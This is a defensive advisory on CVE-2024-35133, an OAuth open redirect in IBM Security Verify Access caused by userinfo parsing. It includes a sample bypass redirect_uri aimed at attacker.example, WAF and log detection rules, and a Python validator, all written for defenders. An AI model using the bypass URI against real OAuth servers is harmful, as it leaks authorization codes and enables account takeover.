IBM Security Verify Access 10.0.0 - Open Redirect during OAuth Flow

IBM Security Verify Access 10.0.0 — Open Redirect during OAuth Flow (CVE-2024-35133)

This article describes the Open Redirect vulnerability identified in IBM Security Verify Access (SVA) versions 10.0.0 through 10.0.8 (CVE-2024-35133). It explains the technical root cause, demonstrates safe, defensive proof-of-concept patterns, and provides mitigation, detection, and remediation guidance for administrators and developers responsible for OAuth deployments.

Quick summary

• Vulnerability type: Open Redirect within OAuth authorization flow (leads to potential authorization code leakage).
• Affected products: IBM Security Verify Access and IBM Security Verify Access Docker, versions 10.0.0 – 10.0.8.
• CVSS (per public sources): NIST 8.2 (High) — see vendor bulletin for final scores and context.
• CVE: CVE-2024-35133.
• Root cause: improper handling of RFC 3986 userinfo (username[:password]@host) in redirect_uri parsing/allowlist logic.

Why this matters

In OAuth 2.0 authorization code flows, the authorization server redirects a user's browser to a pre-registered redirect_uri with a temporary authorization code. If an attacker can cause an authorization server to redirect to a domain they control while preserving the authorization code in the URL, the attacker can capture the code and exchange it for tokens — leading to account compromise, data exposure, or session takeover.

Technical background

URI userinfo (RFC 3986) and parsing pitfalls

RFC 3986 allows a "userinfo" component in URIs: userinfo@host. Historically this was used for embedded credentials (e.g., http://user:pass@example.com/). Modern servers often ignore or disallow userinfo, but some parsers treat a URI with userinfo differently. A naive allowlist or whitelist that validates hostnames by string-matching the beginning of the URI can be bypassed if the attacker inserts a benign-looking userinfo portion whose username contains an allowed domain string. If the downstream redirect logic reconstructs or trusts the parsed host differently, the authorization server can issue a redirect to an attacker-controlled host while the allowlist check appears to pass.

OAuth redirect validation best practice

• Use exact string matching against pre-registered redirect URIs (including path) or strict origin matching rules depending on OAuth client type.
• Canonicalize and fully parse URIs using a standards-compliant parser — do not match on substrings.
• Reject any redirect_uri that contains userinfo components (user:pass@host) or other non-standard components.
• Prefer pre-registered exact URIs; avoid wildcard or suffix-based matches where possible.

Vulnerability details (how the bypass worked)

IBM SVA's redirect_uri allowlist logic accepted a redirect_uri that included a userinfo portion whose username contained a legitimate domain string. The server's whitelist check validated the expected domain as part of that username, then the internal redirect logic followed the actual host portion (the attacker-controlled host). As a result, the authorization server responded with a 302 Location header that pointed to the attacker-controlled host and included the authorization code in the query string.

Component	Behavior
Whitelist check	Matched expected domain text inside userinfo (username field).
Redirect construction	Used the real host component (attacker-controlled host) when issuing the 302.
Impact	Authorization code leaked to attacker-controlled domain in redirect URL.

Safe proof-of-concept (defensive demonstration)

The following example shows the structure of a redirect_uri that abuses userinfo. This is provided for defenders and engineers to safely recognize the pattern in logs and implement checks. The host portion below is illustrative and not an active malicious domain.

https://legitimate.example:ignored@attacker.example/path/callback

Explanation: the URI shows a userinfo component ("legitimate.example:ignored") followed by an @ and then the real host ("attacker.example"). A naive allowlist that looks for "legitimate.example" anywhere in the redirect_uri could be bypassed by embedding it in userinfo.

Defensive detection pattern

• Search logs for redirect_uri parameters containing an '@' character before the main host.
• Inspect 302 Location headers that carry authorization codes (code=) and contain unexpected hostnames or userinfo components.
• Alert when redirect_uri values contain percent-encoding that resolves to '@' or that include embedded credential separators.

Recommended remediation and mitigations

Immediate actions for administrators

• Apply vendor patch or upgrade per IBM Security Bulletin 7166712. This is the definitive fix and should be prioritized.
• Temporarily restrict OAuth client registrations to exact, pre-registered redirect URIs only; remove wildcard and suffix matches.
• Enable additional controls where available (IP allowlists, client identifiers, PKCE for public clients).

Short-term mitigations if patching is delayed

• Reject any redirect_uri that contains a userinfo section (if your appliance supports custom validation rules or URL filters).
• Implement a Web Application Firewall (WAF) rule to block requests containing redirect_uri parameters with '@' tokens or suspicious patterns.
• Monitor and alert for 302 responses with code= query parameter where the Location host does not match the expected allowlist entry.

Long-term secure patterns

• Always canonicalize and parse URIs using a standards-compliant parser (RFC 3986).
• Use exact matching for redirect_uri registration. If flexibility is required, consider a strict origin-based allowlist with clearly defined policies.
• Reject or strip URI userinfo components early in validation.
• Use PKCE (RFC 7636) for public clients to reduce impact of leaked codes.
• Prefer using confidential clients with client authentication in back-channel token exchange.

Developer guidance — secure redirect_uri validation examples

The example below shows a defensive pattern in Python that:

• Parses and normalizes the redirect_uri using urllib.parse (or equivalent).
• Rejects URIs with userinfo (username or password present).
• Compares the parsed host + path against an exact whitelist.

from urllib.parse import urlparse, urlunparse

# Example whitelist of exact redirect URIs (scheme, host, path)
ALLOWED_REDIRECTS = {
    ("https", "app.example.com", "/auth/callback"),
    ("https", "app.example.com", "/mobile/callback"),
}

def is_valid_redirect(redirect_uri):
    parsed = urlparse(redirect_uri)
    # Reject if userinfo (netloc contains '@' before host)
    if "@" in parsed.netloc:
        return False
    # Normalize host and path
    host = parsed.hostname
    path = parsed.path or "/"
    scheme = parsed.scheme
    # Enforce TLS
    if scheme != "https":
        return False
    return (scheme, host, path) in ALLOWED_REDIRECTS

Explanation: The code parses the incoming redirect_uri and explicitly rejects any URI whose netloc contains an '@' (indicating userinfo). It then validates the canonical (scheme, host, path) tuple against an exact whitelist. Enforcing HTTPS and exact matching prevents the userinfo bypass and other host-normalization attacks.

Detection rules and examples for security teams

Example simple IDS/WAF rule logic to detect suspicious redirect_uri submissions (pseudocode):

IF request.query.redirect_uri CONTAINS "@"
   OR request.query.redirect_uri MATCHES "%40"  # URL-encoded @
THEN ALERT "Potential redirect_uri userinfo bypass attempt"

Explanation: This rule flags requests where redirect_uri contains the @ character or its URL-encoded form (%40). Such patterns are indicators of userinfo usage and should be investigated. Combine with checks for subsequent 302 responses that include code= to detect successful exploitation.

Forensics and incident response

• If you suspect exploitation, review authorization server logs for 302 Location headers that include code= and point to unregistered hosts.
• Search for redirect_uri values containing '@' or unusual percent-encodings in request logs and web access logs.
• Revoke affected authorization codes and access tokens if there is evidence they were leaked, and force re-authentication for impacted sessions.
• Review client registrations for overly broad redirect entries and rotate client secrets where appropriate.

Vendor response and patching

IBM issued a security bulletin (ID 7166712) and patches to address this issue. Administrators should follow IBM's bulletin for the official patch, upgrade instructions, and any configuration guidance. Refer to the vendor page and public CVE entries for exact patch versioning and remediation steps:

• IBM support: https://www.ibm.com/support/pages/security-bulletin-security-vulnerability-was-fixed-ibm-security-verify-access-cve-2024-35133
• NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-35133

Key takeaways

• Open redirects in OAuth flows are high-risk because they can leak authorization codes.
• URI canonicalization and strict validation (reject userinfo, exact matching) are essential to secure redirect handling.
• Apply vendor patches promptly and use complementary mitigations (WAFs, monitoring, PKCE) to reduce exposure.
• Log and monitor for redirect_uri anomalies and 302 responses that leak sensitive query parameters.

Credits & references

This advisory consolidates public CVE details and vendor bulletin information to help defenders assess and mitigate risk. See IBM's security bulletin and public CVE entries for the authoritative timeline and patched builds.